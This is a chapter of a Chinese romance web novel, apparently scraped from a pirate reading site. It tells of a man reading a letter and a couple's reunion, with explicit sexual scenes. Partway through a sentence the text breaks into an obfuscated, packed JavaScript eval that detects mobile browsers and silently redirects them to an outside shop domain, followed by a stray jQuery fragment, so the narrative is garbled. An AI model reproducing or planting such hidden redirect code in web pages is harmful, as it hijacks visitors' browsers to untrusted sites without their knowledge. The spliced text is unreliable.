上了车，赵柯没急着打开信。
他靠着座椅，脑海里还萦绕着刚才女生的样子。
她不知在哪儿摔了，浑身是泥，头发凌乱，脸上也抹到了泥巴，脏兮兮的，远远地，眼睛就看向了他，跟个走丢的小狗似的。
赵柯捏着信，内心不平静，他记起来了，这女生是多年前于江南某个小镇撞到他的那个孩子。
一眨眼，原来长这么大了。
时间在他身上似乎停止了一般，他都没有意识到，或者他早已迷失在那个秋天，现在的赵柯只是因为活着所以才活着。
他将窗外的视线收回，低头打开了信。
信封淡蓝色，信纸上白纸黑字地，洋洋洒洒地写了一大页，粗略估计在三千字左右。
他一路浏览下来，全是关心，关心他的身体，关心他的事业，叮嘱他要规律吃饭，不要熬夜。
她似乎把他当成了个小孩子，用了很多语气词，尽管没有听到她的声音，没有见到她本人，但仅此一封信，读下来，好像她就在他跟前，认真的神色看着他，细声说着话。
信的最后，她画个卡通人物举着个大太阳，旁边注释：不知道你会不会看到这里，如果看到，这个太阳给你，希望你温暖一点，每天都要开心嗷，我一直都在……
赵柯收起来，很久都没有动弹。
——
江砚提前一天回到淮市。
下了飞机，他没有停歇，开车回到家。
此时是晚上十点过，小区内很安静。
他开门的动静很轻，看到客厅的灯亮着。
在玄关处换了鞋，江砚朝里面走，抬眼随意一扫，就看到了沙发躺着的人。
他往卧室走的脚步停住，转身往电视机前来。
程三好光脚躺在沙发上，身上穿着米黄色的睡衣，剧本摊在脸上，一只手垂在外面。
应该是背台词的途中睡着了。
虽然房间内暖气足，但这样仰躺在沙发上待一晚上，少不了要生病。
江砚眼眸含着，弯腰，伸手去拿她脸上的剧本。
他脸上表情看上去淡淡的，实际上用力很轻，但本子刚抽动，下面的女生就哼了一声，紧接着，一脸不爽地抬手握着剧本盖住自己的脑门。
惺忪着眼，人瞧着还没反应过来。
江砚顺势坐到沙发上，用手摸人的脸。
“去床上睡。”
程三好脸颊有点痒，另一只手按在男人的手背上。
“感受出来了吗？”江砚见她那表情，唇角微勾，嗓音在寂静的夜里响起。
女生打了个哈欠，懒着神态，说：“怎么提前回来了？”
头顶的光亮很盛，剧本挡在脑门处留下一片阴影。
江砚盯着她的眼睛看了几秒才说：“想你。”
程三好拿开书的动作一顿，片刻，她耸了一下肩膀，平静道：“我不想你。”
男人颔首，一脸认同：“看得出来，毕竟短信都不怎么发给我。”
程三好睨他一眼，嘴角要扬不扬的：“你……面上看上去好像不在乎？”
江砚没回答，附下身，上手拿走那个碍人的本子，低头与人亲吻。
他亲了亲她的嘴唇，舌尖要探进去时，遭到了阻拦。
一手撑在女生一侧沙发，江砚稍微直起点身子，目光下垂，看人。
程三好挂着个蔫坏的笑，说：“你还没回答我。”
她这个位置，视线自然地落到男人的脖颈。
那颗荷尔蒙爆棚的喉结似乎是滚动了一下，紧接着，男人的声音就在头顶响起。
“如果不在乎，我想，”下巴被他捏住，“我就不会心急到事情还未办完就回来见你。”
程三好唇松了，仰头承受他这个深吻。
她回应着，身体诚实地告诉了上方的男人，她其实也很想他。
滚烫的呼吸纠缠，每一次喘息，都像是在诉说着思念。
程三好的两条腿并在一起靠着沙发背，江砚就保持着那个侧坐的姿势与她亲昵。
他的右手捧着她的脸，左手放在女生的腰上。
身躯紧紧相贴，热量源源不断地上升。
程三好唇一轻，是江砚离开她的嘴角，去亲脸颊，顺着耳垂往下，侧头去亲她的脖子。
腰间按着的手不知何时窜溜进来，她被那手心的温度烫到，情不自禁地咬住下唇内壁的软肉。
她不吭声，耳朵红着，想转过头，埋首在她颈间的男人又来亲她。
衣服下的手没停，它抚摸着，变换姿势，一会儿去到程三好的腹部，一会儿又停在腰间，就是没往上。
周围空气温度似乎有所上升，落地窗外，深墨色的夜空，一轮弯月十分皎洁，干净地看不到一丝杂质。
程三好莫名想曲腿，就突然察觉到睡衣下的手开始游走，抚摸着向上。
脑子混沌成一片，她难得抽回一丝理智，记起来，自己一个人在家图方便，所以她就没穿内衣。
江砚的手被女生隔着衣服按住，他胸膛起伏，眉头微蹙，鼻子不断地发出沉沉的粗气。
太阳穴在跳，他刚要抽出手，手背上的力道就消失了。
江砚掀起眼皮，看了一眼身下的女生，没说话。
程三好睁开眼睛，上方的光亮太盛，她闭了一下眼睛，还未睁开，就感觉到热量退去。
她急忙伸手抓住男人的衣领：“不要走……”
“不走，”江砚伸手抱住将她抱个满怀，另一只手穿过女生膝下，将她抱离沙发。
他的衬衫皱得不像话，抱着人朝卧室走去，步伐很稳。
抬脚推开门，屋内自动感应落地灯亮起。
江砚膝盖先着床，附身，弯腰将女生放到了被褥上。
他下意识起身，衬衫下摆一紧，不自觉跟着跌下去。
男人没有丝毫犹豫地一手撑在床铺抬起下颌去亲人，一手拽松自己的领带。
不知不觉间，二人都上到了床上。
程三好枕着枕头，一条腿微微曲着，两腿之间是男人的膝盖。
那只骨节分明，指甲修剪得整齐的手伸进衣摆，向下。
她被抚摸。
动作生涩却灵活，隔着一层布料，朦胧而清晰。
痒酥酥的感觉窜上天灵盖，程三好埋首在男人颈间，腿想合拢，但是被那条中间的腿硬生生阻断。
她出了汗，手控制不住地抓紧他的肩头，嗓音像是被雨浸泡过，湿润地叫人：“江砚……”
“嗯，”江砚在光线灰暗中应声，又低又沉，“马上就好。”
他手没停，目光晦暗。
男人肩膀很宽，这样罩在女生上面，遮住了所有朝这里跑的亮光。
卧室窗帘紧闭地拉着，他们的身影投射到上面。
床单深灰色，被褥皱成一团堆在一边。
向前伸展着的小脚弓起脚背，程三好眼前一白，闷哼了一声。
她身躯一瞬间绷直，江砚衬衫更皱了。
他没动，静静地等女生缓过那股劲。
程三好觉得浑身哪哪都热，连呼吸似乎都是热气。
失焦的瞳孔重新聚拢，她快速眨了几下眼睛，羞赧断断续续地涌上来。
她忍住那股后知后觉的尴尬，从江砚颈间抬起头，两手搭在他的肩头，与此同时用力带着人翻转，变作了她跪坐在他身上的姿势。
江砚顺着她，就势半倚靠着床头。
他还未说话，女生就已经低头，伸手握住他的皮带要解开。
这个动作太过突然，太意外，太不符合程三好的性格。
江砚慌忙逮住人的手，制止她的行为，语气难得不平静：“不用……”
话一说出口，那嗓音哑得不像话。
两人都是一怔，江砚喉头滚动，在女生看过来时偏头移开视线。
他手没松动，听到身前人说了句：“我也想帮你……”
她的嗓音不带着平日里的调皮，也不是懒洋洋的音调，竟然是软着声气的那种，这落在江砚耳朵里和撒娇没区别。
他本就在忍，这话一出，绷紧的神经蓦然溃败，他松开按住女生的手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074684|130752||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
随意地搭在床单上。
程三好见男人没看她，这给她了更大的勇气。
双手解开那条黑色的皮带，锁扣发出轻脆的咔哒声，落在私密的卧室内清晰可闻。
程三好耳根热得很，手触摸到西裤的金属拉链时不敢往下拉了，典型的人菜瘾大。
她在那个位置踌躇，小动作不断，江砚额头青筋突突地直跳，他呼吸沉重，主动握着女生的手拉下拉链，引导着她，全程手都没松开。
程三好坐在他腿上，眼神扫了一眼后就移开了，目光无处安放，最后落在前面的男人身上。
他侧着头，整个下颌线绷得很紧，眉头皱着，眼眸轻阖。
他的头发几缕搭在额头，已经被汗浸湿了一些。
橘黄色的暖光不明亮，暧昧而旖旎，从一侧打来，照亮他的侧轮廓，一半又隐入灰暗，瞧不真切。
他抿紧唇，除了剧烈起伏的胸膛，以及逐渐加重的呼吸之外，什么声音也没有。
就是……耳尖是红的。
程三好的目光很难从上面移开，心口位置莫名烫呼呼的，在这一刻意识到，不从容的，从来不是只有她一人。
结束的时候，烫的地方变成了手虎口后面那颗痣的地方。
她不敢动，抬眼看跟前的人。
江砚丢了皱巴巴的纸团，掀起眼皮，见她神情，一手牵住她的手十指紧扣，一手捧住她的脸，低下头。
他亲她的额头，亲她的眉毛，亲她的脸颊，亲她的鼻梁，细细的，密密的，只是短暂地停留，是和深吻完全不同的体验，被亲的人感受到了疼爱……
这种亲亲很舒适，程三好微微扬着脸，也许是有点痒，她笑起来要向前低头躲避。
江砚顺势低头，二人额头抵着额头，对视着。
“笑什么？”男人眼眶深邃，这个姿势看人，深深的。
程三好眼睫在空中扇动，笑意未减：“你小鸡啄米呢。”
江砚勾唇，“你好像挺喜欢，不是吗？”
程三好抬起头，离开点距离，懒着音调：“勉强可以。”
她伸腿要下床，男人却先她一步下了床。
程三好见他已经前往卫生间就没动，打算等他先洗澡，自己待会儿再洗。
江砚却只是站到门边，转过身见她依旧待在床上，抱手倚靠着门框，淡声道：“需要我抱你下来？”
程三好扬了下头，有些疑惑：“你不是要先洗澡？”
“嗯，是。”男人嘴角带着若有若无的笑，“不一起？”
“……”程三好脑子空白一秒，转瞬舔了一下上牙，瞥了他一眼，“你……收敛一点。”
她长发披肩，光着脚丫盘腿坐在床上，清清冷冷的气质，神态是慵懒的。
江砚看着，过了几秒，招手：“过来。”
程三好：“干嘛？”
“洗手。”语气无奈，“我又不会吃了你。”
程三好一下回忆起适才发生的事情，她顿时有点不自在，终究没说什么，下了床。
她进了卫生间，站到盥洗台前，扭转水龙头。
水声哗啦，清凉感爬上手指。
余光中，刚才站在门边的男人已经抬脚往她走来。
她还未反应，江砚就从她身后怀住她，脑袋搁在她的颈间，用手在某瓶洗手液下按下一泵液体，然后揉搓，再握住程三好在水流下的手摩挲，清洗。
前面是一面巨大的镜子，程三好透过明亮的镜子看他，见他神色带着点认真，不知为何笑了一下。
“怎么？”江砚嗓音很有磁性，他没有抬眼，偏头亲了下人，“我是长在你笑点上的男人？”
程三好笑容放大，说出让自己感到好笑的点：“洗个手都要黏在一起，总觉得……好奇妙。”
江砚脸色很淡，那种淡不是冷漠，而是一种餍足后的彻底放松。
他垂着目光，说了句：“那你可真奇妙，做什么都觉得好笑。”
白色的泡沫打在手上，滑溜溜的。
程三好看着看着，收敛笑意，想起了正事。